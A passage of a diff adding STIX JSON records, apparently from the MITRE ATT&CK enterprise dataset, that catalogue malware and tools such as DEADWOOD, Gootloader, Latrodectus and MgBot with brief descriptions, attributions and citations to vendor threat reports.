"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--f2e6af17-3828-4f10-88e7-343591618ddb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-05-22 21:27:28.050000+00:00", + "modified": "2024-08-26 18:34:46.859000+00:00", + "name": "DEADWOOD", + "description": "[DEADWOOD](https://attack.mitre.org/software/S1134) is wiper malware written in C++ using Boost libraries. [DEADWOOD](https://attack.mitre.org/software/S1134) was first observed in an unattributed wiping event in Saudi Arabia in 2019, and has since been incorporated into [Agrius](https://attack.mitre.org/groups/G1030) operations.(Citation: SentinelOne Agrius 2021)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1134", + "external_id": "S1134" + }, + { + "source_name": "SentinelOne Agrius 2021", + "description": "Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.", + "url": "https://assets.sentinelone.com/sentinellabs/evol-agrius" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "DEADWOOD" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--37487ff6-de2a-4c14-9e8b-ba3b97f78aaf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-16 08:29:07.124000+00:00", + "modified": "2024-09-21 07:18:26.370000+00:00", + "name": "DUSTPAN", + "description": "[DUSTPAN](https://attack.mitre.org/software/S1158) is an in-memory dropper written in C/C++ used by [APT41](https://attack.mitre.org/groups/G0096) since 2021 that decrypts and executes an embedded payload.(Citation: Google Cloud APT41 2024)(Citation: Google Cloud APT41 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1158", + "external_id": "S1158" + }, + { + "source_name": "Google Cloud APT41 2024", + "description": "Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust" + }, + { + "source_name": "Google Cloud APT41 2022", + "description": "Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman & John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved September 16, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/apt41-us-state-governments" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "DUSTPAN" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--33139388-de0c-49ff-862a-041c315b142d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-16 08:38:41.404000+00:00", + "modified": "2024-09-21 07:20:52.417000+00:00", + "name": "DUSTTRAP", + "description": "[DUSTTRAP](https://attack.mitre.org/software/S1159) is a multi-stage plugin framework associated with [APT41](https://attack.mitre.org/groups/G0096) operations with multiple components.(Citation: Google Cloud APT41 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1159", + "external_id": "S1159" + }, + { + "source_name": "Google Cloud APT41 2024", + "description": "Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "DUSTTRAP" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "tool", + "id": "tool--36dd807e-b5bc-4c3e-91ed-80682360148c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-07-10 18:46:33.555000+00:00", + "modified": "2024-07-30 18:17:09.725000+00:00", + "name": "FRP", + "description": "[FRP](https://attack.mitre.org/software/S1144), which stands for Fast Reverse Proxy, is an openly available tool that is capable of exposing a server located behind a firewall or Network Address Translation (NAT) to the Internet. [FRP](https://attack.mitre.org/software/S1144) can support multiple protocols including TCP, UDP, and HTTP(S) and has been abused by threat actors to proxy command and control communications.(Citation: FRP GitHub)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: RedCanary Mockingbird May 2020)(Citation: DFIR Phosphorus November 2021)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1144", + "external_id": "S1144" + }, + { + "source_name": "DFIR Phosphorus November 2021", + "description": "DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.", + "url": "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/" + }, + { + "source_name": "FRP GitHub", + "description": "fatedier. (n.d.). What is frp?. Retrieved July 10, 2024.", + "url": "https://github.com/fatedier/frp" + }, + { + "source_name": "RedCanary Mockingbird May 2020", + "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.", + "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/" + }, + { + "source_name": "Joint Cybersecurity Advisory Volt Typhoon June 2023", + "description": "NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.", + "url": "https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "FRP" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--396c18b9-26fb-4435-8589-fb856502e4c4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-05-28 20:39:16.453000+00:00", + "modified": "2024-06-19 20:03:19.442000+00:00", + "name": "Gootloader", + "description": "[Gootloader](https://attack.mitre.org/software/S1138) is a Javascript-based infection framework that has been used since at least 2020 as a delivery method for the Gootkit banking trojan, [Cobalt Strike](https://attack.mitre.org/software/S0154), [REvil](https://attack.mitre.org/software/S0496), and others. [Gootloader](https://attack.mitre.org/software/S1138) operates on an \"Initial Access as a Service\" model and has leveraged [SEO Poisoning](https://attack.mitre.org/techniques/T1608/006) to provide access to entities in multiple sectors worldwide including financial, military, automotive, pharmaceutical, and energy.(Citation: Sophos Gootloader)(Citation: SentinelOne Gootloader June 2021)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1138", + "external_id": "S1138" + }, + { + "source_name": "SentinelOne Gootloader June 2021", + "description": "Pirozzi, A. (2021, June 16). Gootloader: \u2018Initial Access as a Service\u2019 Platform Expands Its Search for High Value Targets. Retrieved May 28, 2024.", + "url": "https://www.sentinelone.com/labs/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/" + }, + { + "source_name": "Sophos Gootloader", + "description": "Szappanos, G. & Brandt, A. (2021, March 1). \u201cGootloader\u201d expands its payload delivery options. Retrieved September 30, 2022.", + "url": "https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Gootloader" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Pooja Natarajan, NEC Corporation India" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--3058b264-fe6b-46be-8948-2d1fadaf8adf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-08-14 22:12:17.650000+00:00", + "modified": "2024-10-02 12:20:43.866000+00:00", + "name": "IMAPLoader", + "description": "[IMAPLoader](https://attack.mitre.org/software/S1152) is a .NET-based loader malware exclusively associated with [CURIUM](https://attack.mitre.org/groups/G1012) operations since at least 2022. [IMAPLoader](https://attack.mitre.org/software/S1152) leverages email protocols for command and control and payload delivery.(Citation: PWC Yellow Liderc 2023)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1152", + "external_id": "S1152" + }, + { + "source_name": "PWC Yellow Liderc 2023", + "description": "PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.", + "url": "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "IMAPLoader" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Wirapong Petshagun" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--f25d4207-25b2-4bb0-a17a-403943c670ad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-06-06 18:28:58.878000+00:00", + "modified": "2024-10-28 19:03:40.175000+00:00", + "name": "INC Ransomware", + "description": "[INC Ransomware](https://attack.mitre.org/software/S1139) is a ransomware strain that has been used by the [INC Ransom](https://attack.mitre.org/groups/G1032) group since at least 2023 against multiple industry sectors worldwide. [INC Ransomware](https://attack.mitre.org/software/S1139) can employ partial encryption combined with multi-threading to speed encryption.(Citation: SentinelOne INC Ransomware)(Citation: Huntress INC Ransom Group August 2023)(Citation: Secureworks GOLD IONIC April 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1139", + "external_id": "S1139" + }, + { + "source_name": "Secureworks GOLD IONIC April 2024", + "description": "Counter Threat Unit Research Team. (2024, April 15). GOLD IONIC DEPLOYS INC RANSOMWARE. Retrieved June 5, 2024.", + "url": "https://www.secureworks.com/blog/gold-ionic-deploys-inc-ransomware" + }, + { + "source_name": "SentinelOne INC Ransomware", + "description": "SentinelOne. (n.d.). What Is Inc. Ransomware?. Retrieved June 5, 2024.", + "url": "https://www.sentinelone.com/anthology/inc-ransom/" + }, + { + "source_name": "Huntress INC Ransom Group August 2023", + "description": "Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.", + "url": "https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "INC Ransomware" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Matt Anderson, @\u200cnosecurething, Huntress" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--b5dc19b7-588d-403b-848d-c868bd61ffa1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-05-22 19:13:15.858000+00:00", + "modified": "2024-08-29 15:20:43.368000+00:00", + "name": "IPsec Helper", + "description": "[IPsec Helper](https://attack.mitre.org/software/S1132) is a post-exploitation remote access tool linked to [Agrius](https://attack.mitre.org/groups/G1030) operations. This malware shares significant programming and functional overlaps with [Apostle](https://attack.mitre.org/software/S1133) ransomware, also linked to [Agrius](https://attack.mitre.org/groups/G1030). [IPsec Helper](https://attack.mitre.org/software/S1132) provides basic remote access tool functionality such as uploading files from victim systems, running commands, and deploying additional payloads.(Citation: SentinelOne Agrius 2021)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1132", + "external_id": "S1132" + }, + { + "source_name": "SentinelOne Agrius 2021", + "description": "Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.", + "url": "https://assets.sentinelone.com/sentinellabs/evol-agrius" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "IPsec Helper" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--76fde8df-3495-47c9-82eb-125c4f7fb621", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-16 18:47:30.547000+00:00", + "modified": "2024-09-30 17:59:30.330000+00:00", + "name": "Latrodectus", + "description": "[Latrodectus](https://attack.mitre.org/software/S1160) is a Windows malware downloader that has been used since at least 2023 to download and execute additional payloads and modules. [Latrodectus](https://attack.mitre.org/software/S1160) has most often been distributed through email campaigns, primarily by [TA577](https://attack.mitre.org/groups/G1037) and [TA578](https://attack.mitre.org/groups/G1038), and has infrastructure overlaps with historic [IcedID](https://attack.mitre.org/software/S0483) operations.(Citation: Latrodectus APR 2024)(Citation: Bleeping Computer Latrodectus April 2024)(Citation: Bitsight Latrodectus June 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1160", + "external_id": "S1160" + }, + { + "source_name": "IceNova", + "description": "(Citation: Bleeping Computer Latrodectus April 2024)" + }, + { + "source_name": "Unidentified 111", + "description": "(Citation: Bleeping Computer Latrodectus April 2024)" + }, + { + "source_name": "Bleeping Computer Latrodectus April 2024", + "description": "Abrams, L. (2024, April 30). New Latrodectus malware attacks use Microsoft, Cloudflare themes. Retrieved September 13, 2024.", + "url": "https://www.bleepingcomputer.com/news/security/new-latrodectus-malware-attacks-use-microsoft-cloudflare-themes/" + }, + { + "source_name": "Bitsight Latrodectus June 2024", + "description": "Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.", + "url": "https://www.bitsight.com/blog/latrodectus-are-you-coming-back" + }, + { + "source_name": "Latrodectus APR 2024", + "description": "Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Latrodectus", + "IceNova", + "Unidentified 111" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Riku Katsuse, NEC Corporation", + "Sareena Karapoola, NEC Corporation India", + "Pooja Natarajan, NEC Corporation India", + "Cris Tomboc, Truswave SpiderLabs" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--6490afef-d88e-4e2b-b9d9-a472508ca59d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-06-27 19:07:21.574000+00:00", + "modified": "2024-06-27 20:01:04.973000+00:00", + "name": "LunarLoader", + "description": "[LunarLoader](https://attack.mitre.org/software/S1143) is the loader component for the [LunarWeb](https://attack.mitre.org/software/S1141) and [LunarMail](https://attack.mitre.org/software/S1142) backdoors that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2020 including against a European ministry of foreign affairs (MFA). [LunarLoader](https://attack.mitre.org/software/S1143) has been observed as a standalone and as a part of trojanized open-source software such as AdmPwd.(Citation: ESET Turla Lunar toolset May 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1143", + "external_id": "S1143" + }, + { + "source_name": "ESET Turla Lunar toolset May 2024", + "description": "Jur\u010dacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.", + "url": "https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "LunarLoader" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--a5789a26-2b7b-4b2d-a25f-31182468d4bb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-06-26 20:21:21.137000+00:00", + "modified": "2024-08-16 14:42:54.472000+00:00", + "name": "LunarMail", + "description": "[LunarMail](https://attack.mitre.org/software/S1142) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2020 including in a compromise of a European ministry of foreign affairs (MFA) in conjunction with [LunarLoader](https://attack.mitre.org/software/S1143) and [LunarWeb](https://attack.mitre.org/software/S1141). [LunarMail](https://attack.mitre.org/software/S1142) is designed to be deployed on workstations and can use email messages and [Steganography](https://attack.mitre.org/techniques/T1001/002) in command and control.(Citation: ESET Turla Lunar toolset May 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1142", + "external_id": "S1142" + }, + { + "source_name": "ESET Turla Lunar toolset May 2024", + "description": "Jur\u010dacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.", + "url": "https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "LunarMail" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Riku Katsuse, NEC Corporation", + "Sareena Karapoola, NEC Corporation India", + "Pooja Natarajan, NEC Corporation India" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--e1284931-3f85-4262-a641-9ae8bb0576a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-06-26 18:07:37.796000+00:00", + "modified": "2024-08-16 14:42:02.739000+00:00", + "name": "LunarWeb", + "description": "[LunarWeb](https://attack.mitre.org/software/S1141) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2020 including in a compromise of a European ministry of foreign affairs (MFA) together with [LunarLoader](https://attack.mitre.org/software/S1143) and [LunarMail](https://attack.mitre.org/software/S1142). [LunarWeb](https://attack.mitre.org/software/S1141) has only been observed deployed against servers and can use [Steganography](https://attack.mitre.org/techniques/T1001/002) to obfuscate command and control.(Citation: ESET Turla Lunar toolset May 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1141", + "external_id": "S1141" + }, + { + "source_name": "ESET Turla Lunar toolset May 2024", + "description": "Jur\u010dacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.", + "url": "https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "LunarWeb" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Riku Katsuse, NEC Corporation", + "Sareena Karapoola, NEC Corporation India", + "Pooja Natarajan, NEC Corporation India" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--dd2ad3d7-d7ef-4af5-a919-bfe8f2571705", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-04 18:15:43.225000+00:00", + "modified": "2024-09-06 18:11:40.228000+00:00", + "name": "Manjusaka", + "description": "[Manjusaka](https://attack.mitre.org/software/S1156) is a Chinese-language intrusion framework, similar to [Sliver](https://attack.mitre.org/software/S0633) and [Cobalt Strike](https://attack.mitre.org/software/S0154), with an ELF binary written in GoLang as the controller for Windows and Linux implants written in Rust. First identified in 2022, [Manjusaka](https://attack.mitre.org/software/S1156) consists of multiple components, only one of which (a command and control module) is freely available.(Citation: Talos Manjusaka 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1156", + "external_id": "S1156" + }, + { + "source_name": "Talos Manjusaka 2022", + "description": "Asheer Malhotra & Vitor Ventura. (2022, August 2). Manjusaka: A Chinese sibling of Sliver and Cobalt Strike. Retrieved September 4, 2024.", + "url": "https://blog.talosintelligence.com/manjusaka-offensive-framework/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Manjusaka" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Subhash Thapa" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--a36eedea-9523-4abb-96e8-205f171ee763", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-07-25 18:16:57.099000+00:00", + "modified": "2024-10-10 14:34:23.655000+00:00", + "name": "MgBot", + "description": "[MgBot](https://attack.mitre.org/software/S1146) is a modular malware framework exclusively associated with [Daggerfly](https://attack.mitre.org/groups/G1034) operations since at least 2012. [MgBot](https://attack.mitre.org/software/S1146) was developed in C++ and features a module design with multiple available plugins that have been under active development through 2024.(Citation: Szappanos MgBot 2014)(Citation: ESET EvasivePanda 2023)(Citation: Symantec Daggerfly 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1146", + "external_id": "S1146" + }, + { + "source_name": "ESET EvasivePanda 2023", + "description": "Facundo Mu\u00f1oz. (2023, April 26). Evasive Panda APT group delivers malware via updates for popular Chinese software. Retrieved July 25, 2024.", + "url": "https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/" + }, + { + "source_name": "Szappanos MgBot 2014", + "description": "Gabor Szappanos. (2014, February 3). Needle in a haystack. Retrieved July 25, 2024.", + "url": "https://www.virusbulletin.com/virusbulletin/2014/02/needle-haystack" + }, + { + "source_name": "Symantec Daggerfly 2024", + "description": "Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.", + "url": "https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "MgBot" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--47ab6350-054f-4754-ba4d-e52a4e8751e2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-05-22 23:05:34.895000+00:00", + "modified": "2024-08-29 15:19:39.017000+00:00", + "name": "Moneybird", + "description": "[Moneybird](https://attack.mitre.org/software/S1137) is a ransomware variant written in C++ associated with [Agrius](https://attack.mitre.org/groups/G1030) operations. The name \"Moneybird\" is contained in the malware's ransom note and as strings in the executable.(Citation: CheckPoint Agrius 2023)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1137", + "external_id": "S1137" + }, + { + "source_name": "CheckPoint Agrius 2023", + "description": "Marc Salinas Fernandez & Jiri Vinopal. (2023, May 23). AGRIUS DEPLOYS MONEYBIRD IN TARGETED ATTACKS AGAINST ISRAELI ORGANIZATIONS. Retrieved May 21, 2024.", + "url": "https://research.checkpoint.com/2023/agrius-deploys-moneybird-in-targeted-attacks-against-israeli-organizations/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Moneybird" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--663d7dee-5a47-459e-a5ef-e850a94a8ee5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-05-22 22:30:59.178000+00:00", + "modified": "2024-08-29 15:20:13.078000+00:00", + "name": "MultiLayer Wiper", + "description": "[MultiLayer Wiper](https://attack.mitre.org/software/S1135) is wiper malware written in .NET associated with [Agrius](https://attack.mitre.org/groups/G1030) operations. Observed samples of [MultiLayer Wiper](https://attack.mitre.org/software/S1135) have an anomalous, future compilation date suggesting possible metadata manipulation.(Citation: Unit42 Agrius 2023)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1135", + "external_id": "S1135" + }, + { + "source_name": "Unit42 Agrius 2023", + "description": "Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.", + "url": "https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "MultiLayer Wiper" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "tool", + "id": "tool--0630d1a7-54da-4a48-a6af-eb8a62b13c17", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-05-17 18:49:15.318000+00:00", + "modified": 